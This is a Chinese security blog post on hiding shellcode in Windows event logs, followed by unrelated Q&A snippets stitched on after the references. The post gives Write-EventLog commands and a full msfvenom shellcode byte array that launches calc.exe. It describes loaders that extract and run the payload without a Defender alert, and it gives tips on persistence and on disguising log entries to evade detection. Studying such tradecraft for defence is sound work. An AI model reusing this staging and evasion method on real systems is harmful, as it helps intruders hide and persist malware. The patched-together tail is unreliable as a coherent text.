分析巧用Windows事件日志隐藏载荷
请遵守法律法规,文章仅供安全防范与学习,严禁非法使用,后果自负。
根据卡巴斯基发布的研究报告发现一项恶意活动,其中的技术涉及将shellcode直接放入Windows事件日志,Windows事件日志可以被攻击者用来掩盖特洛伊木马病毒的恶意使用。实现了"无文件"攻击技术,下面就利用该涉及的技术,简单研究尝试一下。 Windows事件日志
Windows默认事件日志查看器为eventvwr.msc,能实现简单的使用,Win+R键后输入eventvwr回车即能打开。Windows主要的日志在"Windows 日志"中,该文件夹中包含所有Windows系统上的五个标准类别。比较常用的Windows日志有系统日志、安全日志、应用程序日志这三个日志内容。 应用程序 安全 Setup 系统 Forwarded Events
事件查看器的另一个"应用程序和服务日志"文件夹里,包含Windows系统中其它各类重要服务组件的事件日志。Windows PowerShell日志在该集合中。
Windows事件日志文件实际上是以特定的数据结构的方式存储内容,每条记录事件的数据结构由9个字段组成,包括日志名称、来源、记录时间、事件ID、任务类别、级别、计算机、事件数据(EventData)等信息。其中事件数据 仅支持消息和二进制数据 。 写入事件日志
我们可以使用PowerShell操作Windows事件日志,其中Write-EventLog命令可以将事件写入事件日志,参考微软官方文档,其中参数对应上面介绍的字段:
执行命令 Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"
在事件查看器中,可以看到事件ID为65535的日志成功创建在应用程序日志中,消息为Hello World!
写入载荷
只需在Write-EventLog中使用-RawData参数,就可以在事件日志字段中包含二进制数据,而且必须将二进制数据作为字节数组传到-RawData参数中。我们可以将其包含数据的十六进制字符串转换为字节数组,然后再传递。
首先,使用msfvenom生成弹计算器 payload。输出格式为十六进制字符串
利用工具网站转为字节数组
$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)
使用密钥管理服务日志和KmsRequests作为源进行事件日志写入。Write-EventLog -LogName "Key Management Service" -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data
执行后,Payload已成功存储到事件日志当中。于事件日志的详细信息就能查看到。
执行载荷
为了提取并执行写入的载荷,这边用非常简单的C++程序和Python脚本进行证明,代码放在这里。
用Visual Studio编译PoC代码后放在环境中执行,从"隐藏"在事件日志Key Management Services的第一条日志中提取二进制载荷数据并且成功执行。过程中defender并未对其进行告警。
另外使用Python的win32evtlog实现读取事件日志内容,然后也用非常常见的shellcode注入技术执行该载荷。
同样成功执行隐藏在事件日志中的载荷:
可以看到,对Windows事件日志写入和读取Shellcode,都是使用合法的API调用,所以能借此很好的对载荷进行隐藏。作为一种持久化方法,还是能有更好的玩法。例如配合DLL搜索顺序劫持加载恶意代码等。用户限制
事件日志的写入权限问题。为了能在事件日志条目中存储有效负载,我们拿到的权限必须要能写入日志。大小限制
需要注意的另一个限制是,事件日志中可以存储的数据量有大小限制。基于事件消息字符串的最大字符限制为31,839个字符。更持久
在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLog对应的日志名称下的条目中,存在一个EventMessageFile属性。如果在注入载荷的时候,事件ID不存在于该属性指定的源关联的事件消息文件中,则会出现下图这个日志消息:
使用者为了能够更加的持久化不被发现,事件ID和级别等字段都应该伪装成日常日志的样子。
安全建议:提高安全意识,防御于未然。
参考:
https://threatpost.com/attackers-use-event-logs-to-hide-fileless-malware/179484
https://securelist.com/a-new-secret-stash-for-fileless-malware/106393
https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-readeventloga
from: https://xz.aliyun.com/t/12251
美术有哪些专业以后好就业?以美术为基础的专业以后好就业的有1首先是纯艺术的美术教育专业国画专业,这两个专业面对的是公办学校教育领域,就是大学职高高中中小学这些学校,需求量也大,另外还有私立学校关于美术教育与
南昌航空大学是一所什么层次的大学?地理位置绝佳,校园美观大方,优势专业突出,餐饮住宿改观。说起江西南昌的大学,一般人首先想起的可能是南昌大学,毕竟他是211院校嘛。可是也不要忘了,南昌还有一所特色工科大学南昌航空大
职场中,不要太看重人情世故,打铁还需自身硬你怎么看?不赞同。一自身的实力是一方面。1在找工作时,学历高者,你选工作,学历低者,工作选你。同时,在待遇分配上,也会相应的要好得多。2在完成领导交办的任务上,会比其他(她)人,更有独到的见
偷盗100万,请问坐牢出来后,把钱拿出来花,还会被上缴吗?这个世界上没有太多假如,偷那么多你认为你有命花吗?去查查案例基本上够死刑了!上交了可能是无期徒刑加罚款!不交直接死刑了!悔不改的,更加重处理!再说了查个账目来往太容易了,天网灰灰疏
越来越多的6070岁的老人出来打工干农活,这意味着什么?在北京园林绿化的四弟今年65岁。一块干活的同事们最大的老黄76岁,河南老乡,牙齿基本掉光,靠牙床子硬嚼,吃一次饭一个多小时,把休息时间都耽误到这细嚼烂咽上了。还有几个河南妇女,也都
为什么彩票店双色球和大乐透机选的彩票基本上最多只能中五元?机选与自选一样的。中奖概率在那。不中的概率也在那。买彩票其实就是一种骗局,让手头宽松的市民去购买,这部分钱拿去作慈善事业,安排一些中奖规则,也就是吸引人去的,在停售后作统计,然后人
胜利油田成就东营,还是东营成就了胜利油田?确实是胜利油田成就了东营市!可是就是东营市把胜利油田祸祸成皮包骨头了!捂脸捂脸捂脸捂脸捂脸捂脸可以肯定地说,是胜利油田成就了东营,而绝非东营成就了胜利油田。东营是一个新兴的资源性城
刚需自住客,公寓到底值不值得买呢?我是老杜,真心不建议刚需自住客买公寓,坐标上海。再说明一下,我这里说的是不限购不限贷的商用产权公寓,公寓有如下原因不推荐刚需自住刚需自住珍惜你的首套首贷的资格虽然公寓不属于住宅,即
为什么莆田农村那么多高楼?我大表姐2017年从台湾新竹到邵武探亲,也与家人回到老家莆田秀屿区忠门,她惊叹自己的老家竟然发展得跟城区一样高楼林立,而且,如果不是自己亲眼所见,外界很难相信这是农村。在我的记忆中
2021年年终奖人均2。3万,你拖后腿了没?你这数据从那里来的啊?人均2。3万?在互联网行业IT行业地产金融等行业不算多,但在传统行业里,2。3万的年终奖很难那。年终奖和单位也有很大关系,好的单位年终奖远不止这个数,而大部分
副高五级和正高四级待遇差距有多大?天差地别!副高职称分五六七三个级别,五级是副高职称中最高的,但再高也是副高。正高职称分一二三四级,尽管四级是里面最低的,但那是正高职称。首先到手的工资差一大截。如果把隐形的五险一金